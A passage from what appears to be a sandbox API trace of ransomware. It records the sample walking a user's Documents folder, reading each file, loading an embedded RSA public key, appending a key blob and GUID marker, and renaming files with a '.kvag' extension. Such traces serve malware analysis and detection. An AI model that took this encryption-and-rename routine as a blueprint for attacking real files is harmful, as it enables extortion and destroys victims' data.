lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.564] CloseHandle (hObject=0x61c) returned 1 [0119.566] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RMMC2E_QGSZx-2yz.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rmmc2e_qgszx-2yz.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RMMC2E_QGSZx-2yz.rtf.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rmmc2e_qgszx-2yz.rtf.kvag")) returned 1 [0119.567] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc02870, ftCreationTime.dwHighDateTime=0x1d4d38e, ftLastAccessTime.dwLowDateTime=0x6bb91ce0, ftLastAccessTime.dwHighDateTime=0x1d4ca38, ftLastWriteTime.dwLowDateTime=0x6bb91ce0, ftLastWriteTime.dwHighDateTime=0x1d4ca38, nFileSizeHigh=0x0, nFileSizeLow=0x16f96, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S9TDRhPkSv5vLHzMFlW.odt", cAlternateFileName="S9TDRH~1.ODT")) returned 1 [0119.567] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\S9TDRhPkSv5vLHzMFlW.odt") returned=".odt" [0119.567] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\S9TDRhPkSv5vLHzMFlW.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\s9tdrhpksv5vlhzmflw.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.567] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=94102) returned 1 [0119.567] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.569] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x16f70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.569] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.571] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x16f96, lpOverlapped=0x0) returned 1 [0119.572] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.572] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.572] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.572] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.573] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.573] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.573] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.573] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.573] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.573] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.573] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.573] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.573] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.573] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.574] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x16f96, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.574] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.574] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.574] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.574] CloseHandle (hObject=0x61c) returned 1 [0119.576] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\S9TDRhPkSv5vLHzMFlW.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\s9tdrhpksv5vlhzmflw.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\S9TDRhPkSv5vLHzMFlW.odt.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\s9tdrhpksv5vlhzmflw.odt.kvag")) returned 1 [0119.577] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ca6b20, ftCreationTime.dwHighDateTime=0x1d55a91, ftLastAccessTime.dwLowDateTime=0x7085c400, ftLastAccessTime.dwHighDateTime=0x1d51743, ftLastWriteTime.dwLowDateTime=0x7085c400, ftLastWriteTime.dwHighDateTime=0x1d51743, nFileSizeHigh=0x0, nFileSizeLow=0x13fca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sQiZZ.docx", cAlternateFileName="SQIZZ~1.DOC")) returned 1 [0119.577] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sQiZZ.docx") returned=".docx" [0119.577] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sQiZZ.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\sqizz.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.577] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=81866) returned 1 [0119.577] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.580] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x13fa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.580] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.581] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x13fca, lpOverlapped=0x0) returned 1 [0119.582] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.582] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.582] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.582] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.583] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.583] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.583] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.583] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.583] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.583] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.583] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.583] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.583] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.584] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.584] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x13fca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.584] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.585] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.585] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.585] CloseHandle (hObject=0x61c) returned 1 [0119.586] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sQiZZ.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\sqizz.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sQiZZ.docx.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\sqizz.docx.kvag")) returned 1 [0119.587] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80dab50, ftCreationTime.dwHighDateTime=0x1d4cd23, ftLastAccessTime.dwLowDateTime=0xbab97400, ftLastAccessTime.dwHighDateTime=0x1d4ce18, ftLastWriteTime.dwLowDateTime=0xbab97400, ftLastWriteTime.dwHighDateTime=0x1d4ce18, nFileSizeHigh=0x0, nFileSizeLow=0x10b48, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TzAPiAs6qAhraI.odp", cAlternateFileName="TZAPIA~1.ODP")) returned 1 [0119.587] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TzAPiAs6qAhraI.odp") returned=".odp" [0119.587] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TzAPiAs6qAhraI.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tzapias6qahrai.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.587] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=68424) returned 1 [0119.587] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.589] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x10b22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.589] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.591] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x10b48, lpOverlapped=0x0) returned 1 [0119.591] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.592] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.592] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.592] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.592] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.592] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.592] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.593] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.593] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.593] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.593] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.593] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.593] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.593] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.593] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x10b48, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.594] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.594] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.594] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.594] CloseHandle (hObject=0x61c) returned 1 [0119.595] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TzAPiAs6qAhraI.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tzapias6qahrai.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TzAPiAs6qAhraI.odp.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tzapias6qahrai.odp.kvag")) returned 1 [0119.596] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23ec4b40, ftCreationTime.dwHighDateTime=0x1d4d35b, ftLastAccessTime.dwLowDateTime=0xe6c90ec0, ftLastAccessTime.dwHighDateTime=0x1d4c670, ftLastWriteTime.dwLowDateTime=0xe6c90ec0, ftLastWriteTime.dwHighDateTime=0x1d4c670, nFileSizeHigh=0x0, nFileSizeLow=0x1836e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uQLXRscP6.docx", cAlternateFileName="UQLXRS~1.DOC")) returned 1 [0119.596] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uQLXRscP6.docx") returned=".docx" [0119.596] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uQLXRscP6.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uqlxrscp6.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.597] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=99182) returned 1 [0119.597] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.599] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x18348, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.599] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.601] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x1836e, lpOverlapped=0x0) returned 1 [0119.602] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.602] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.602] lstrlenA (lpString="-----BEGIN PUBLIC 